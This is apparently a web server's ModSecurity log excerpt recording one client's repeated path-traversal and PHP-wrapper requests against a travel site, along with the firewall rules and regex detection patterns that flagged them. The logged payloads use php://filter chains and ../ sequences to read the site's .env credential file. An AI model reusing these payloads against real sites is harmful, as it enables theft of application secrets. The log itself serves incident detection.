/?raw=1&file=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&token=AqghQjXFlHMRTsYD1pX9F5OlG4zAnaBstlpLiLUPsjz5EK59TdaYVoO8yKyxPlRiIYAA9yWknvtXGfgJ5B3OCB_w5bxWrrZzBXCC6LbHhin_-n8peo2naN2vyOIE6SS8mY__EVDjvQh6bSHIh1DkdI83DakSxpuQiZnQwXabuHbu_jb6jPJUA-sZuv8e2ZdMj05vHN1RYFYj7ghOtlv9SXtmR-YksOtx15H8i3b7wkJJKbXfQ7YBpUNJUAjAth6-2XwWCHNODGPunc3bM5Z7_PeR&ts=FOLRR6O7EXNGVMM3NJL4CZA63A53ENKZ42S6XNP5S4CB5UQV5FKGMB3SOA4A24..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6iwAAABE"]
[Fri Jul 17 08:55:10.791308 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6iwAAABE"]
[Fri Jul 17 08:55:10.791411 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&token=AqghQjXFlHMRTsYD1pX9F5OlG4zAnaBstlpLiLUPsjz5EK59TdaYVoO8yKyxPlRiIYAA9yWknvtXGfgJ5B3OCB_w5bxWrrZzBXCC6LbHhin_-n8peo2naN2vyOIE6SS8mY__EVDjvQh6bSHIh1DkdI83DakSxpuQiZnQwXabuHbu_jb6jPJUA-sZuv8e2ZdMj05vHN1RYFYj7ghOtlv9SXtmR-YksOtx15H8i3b7wkJJKbXfQ7YBpUNJUAjAth6-2XwWCHNODGPunc3bM5Z7_PeR&ts=FOLRR6O7EXNGVMM3NJL4CZA63A53ENKZ42S6XNP5S4CB5UQV5FKGMB3SOA4A24OAX6DK5V6W5KOCZCD3FC5GO2WTDL..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6iwAAABE"]
[Fri Jul 17 08:55:10.791459 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&token=aqghqjxflhmrtsyd1px9f5olg4zanabstlplilupsjz5ek59tdayvoo8ykyxplriiyaa9ywknvtxgfgj5b3ocb_w5bxwrrzzbxcc6lbhhin_-n8peo2nan2vyoie6ss8my__evdjvqh6bshih1dkdi83daksxpuqiznqwxabuhbu_jb6jpjua-szuv8e2zdmj05vhn1ryfyj7ghotlv9sxtmr-yksotx15h8i3b7wkjjkbxfq7ybpunjuajath6-2xwwchnodgpunc3bm5z7_per&ts=folrr6o7exngvmm3njl4cza63a53enkz42s6xnp5s4cb5uqv5fkgmb3soa4a24oax6dk5v6w5koczcd3fc5go2wtdl..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6iwAAABE"]
[Fri Jul 17 08:55:10.791495 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6iwAAABE"]
[Fri Jul 17 08:55:10.791529 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6iwAAABE"]
[Fri Jul 17 08:55:10.792091 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6iwAAABE"]
[Fri Jul 17 08:55:10.792694 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AVwAAAAU"]
[Fri Jul 17 08:55:10.793706 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AVwAAAAU"]
[Fri Jul 17 08:55:10.793836 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.793874 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6iwAAABE"]
[Fri Jul 17 08:55:10.794018 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.794108 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglhAi3pC6yjXGNq2AVwAAAAU"]
[Fri Jul 17 08:55:10.794413 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgloe39YUk0SgV8AU6iwAAABE"]
[Fri Jul 17 08:55:10.794714 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&path=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&debug=A3AeO7JsQdQ9mqZKu2w6yNAsjc-qf5OEbKUfvEEOZT-50mTxxhmy9ElJroesUUhuRHtr1RgAxwiSoiNDhuYqWEEsfgdqBhCSiwMJW_mUL-WMKjX4b2-M74Sd-2C4eknhpCNfzNeZA-u3K_3WyyUeKAY8n7zIrr6PKNuzmKGLowlQIOjAgISv2K2UfikmGn7hgMf5KgAgGA1b2q8nLDrDqjhoDm2S9xCcHVEmAGNfuZ7TK151DvF69t6nMcIpWDVwtZ1IbDisEa6mD14OSZGUBbDP&ts=GTBWL56EX5RSGGH3XRXLOL5PEV6FMTXCU6INQGSABUZUS3DB73SQ6HHDLNBVTPZLNVZYW6DXFISTYE..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYgAAAB4"]
[Fri Jul 17 08:55:10.794754 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYgAAAB4"]
[Fri Jul 17 08:55:10.794799 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&debug=A3AeO7JsQdQ9mqZKu2w6yNAsjc-qf5OEbKUfvEEOZT-50mTxxhmy9ElJroesUUhuRHtr1RgAxwiSoiNDhuYqWEEsfgdqBhCSiwMJW_mUL-WMKjX4b2-M74Sd-2C4eknhpCNfzNeZA-u3K_3WyyUeKAY8n7zIrr6PKNuzmKGLowlQIOjAgISv2K2UfikmGn7hgMf5KgAgGA1b2q8nLDrDqjhoDm2S9xCcHVEmAGNfuZ7TK151DvF69t6nMcIpWDVwtZ1IbDisEa6mD14OSZGUBbDP&ts=GTBWL56EX5RSGGH3XRXLOL5PEV6FMTXCU6INQGSABUZUS3DB73SQ6HHDLNBVTPZLNVZYW6DXFISTYEXEFVBMPBE3VIXPXSA44UYOQK..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYgAAAB4"]
[Fri Jul 17 08:55:10.794837 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&debug=a3aeo7jsqdq9mqzku2w6ynasjc-qf5oebkufveeozt-50mtxxhmy9eljroesuuhurhtr1rgaxwisoindhuyqweesfgdqbhcsiwmjw_mul-wmkjx4b2-m74sd-2c4eknhpcnfzneza-u3k_3wyyuekay8n7zirr6pknuzmkglowlqiojagisv2k2ufikmgn7hgmf5kgagga1b2q8nldrdqjhodm2s9xcchvemagnfuz7tk151dvf69t6nmcipwdvwtz1ibdisea6md14oszgubbdp&ts=gtbwl56ex5rsggh3xrxlol5pev6fmtxcu6inqgsabuzus3db73sq6hhdlnbvtpzlnvzyw6dxfistyexefvbmpbe3vixpxsa44uyoqk..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYgAAAB4"]
[Fri Jul 17 08:55:10.794875 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYgAAAB4"]
[Fri Jul 17 08:55:10.794902 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYgAAAB4"]
[Fri Jul 17 08:55:10.795244 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYgAAAB4"]
[Fri Jul 17 08:55:10.795418 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&path=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&token=yIvOleZfVcVpqddL--fjWpPVG1nWsiyIbrN6d07wsfroFjstVq0TVXaXrH8zPLBnUfSear7abdCYZc7irWRKsKZcS9h7VhmhW9_U3jmcky71g4w5MlhFwY4ZEQE01xJL6SVd-oWpY-1lgFcG13kfzpujCWWq0Hfg7AnZkeliVOOHZeea6phFcYEQnCvDjq64yHe8ACg8bilR_TOrOUBZOPN1Y16zJDas1gSzqDU9W4EaSfV0zyLBd9cGWYs3x6NtavcWDkOgPF1baH3aiSmj1OOQ&sid=4CWCJRLWBJ7YC4BCMIJ572UF233IB4O2KIESFRRJUTMCUOISE65LRR6SRAQCVGUH6U4TV676U2FQ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8dwAAABA"]
[Fri Jul 17 08:55:10.795459 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8dwAAABA"]
[Fri Jul 17 08:55:10.795506 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.base64-encode/resource=../../../.env&token=yIvOleZfVcVpqddL--fjWpPVG1nWsiyIbrN6d07wsfroFjstVq0TVXaXrH8zPLBnUfSear7abdCYZc7irWRKsKZcS9h7VhmhW9_U3jmcky71g4w5MlhFwY4ZEQE01xJL6SVd-oWpY-1lgFcG13kfzpujCWWq0Hfg7AnZkeliVOOHZeea6phFcYEQnCvDjq64yHe8ACg8bilR_TOrOUBZOPN1Y16zJDas1gSzqDU9W4EaSfV0zyLBd9cGWYs3x6NtavcWDkOgPF1baH3aiSmj1OOQ&sid=4CWCJRLWBJ7YC4BCMIJ572UF233IB4O2KIESFRRJUTMCUOISE65LRR6SRAQCVGUH6U4TV676U2FQJRRZDMUT6B7WLDQXM5SC3FIA2F..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8dwAAABA"]
[Fri Jul 17 08:55:10.795550 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.base64-encode/resource=../../../.env&token=yivolezfvcvpqddl--fjwppvg1nwsiyibrn6d07wsfrofjstvq0tvxaxrh8zplbnufsear7abdcyzc7irwrkskzcs9h7vhmhw9_u3jmcky71g4w5mlhfwy4zeqe01xjl6svd-owpy-1lgfcg13kfzpujcwwq0hfg7anzkelivoohzeea6phfcyeqncvdjq64yhe8acg8bilr_toroubzopn1y16zjdas1gszqdu9w4easfv0zylbd9cgwys3x6ntavcwdkogpf1bah3aismj1ooq&sid=4cwcjrlwbj7yc4bcmij572uf233ib4o2kiesfrrjutmcuoise65lrr6sraqcvguh6u4tv676u2fqjrrzdmut6b7wldqxm5sc3fia2f..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8dwAAABA"]
[Fri Jul 17 08:55:10.795591 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8dwAAABA"]
[Fri Jul 17 08:55:10.795635 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8dwAAABA"]
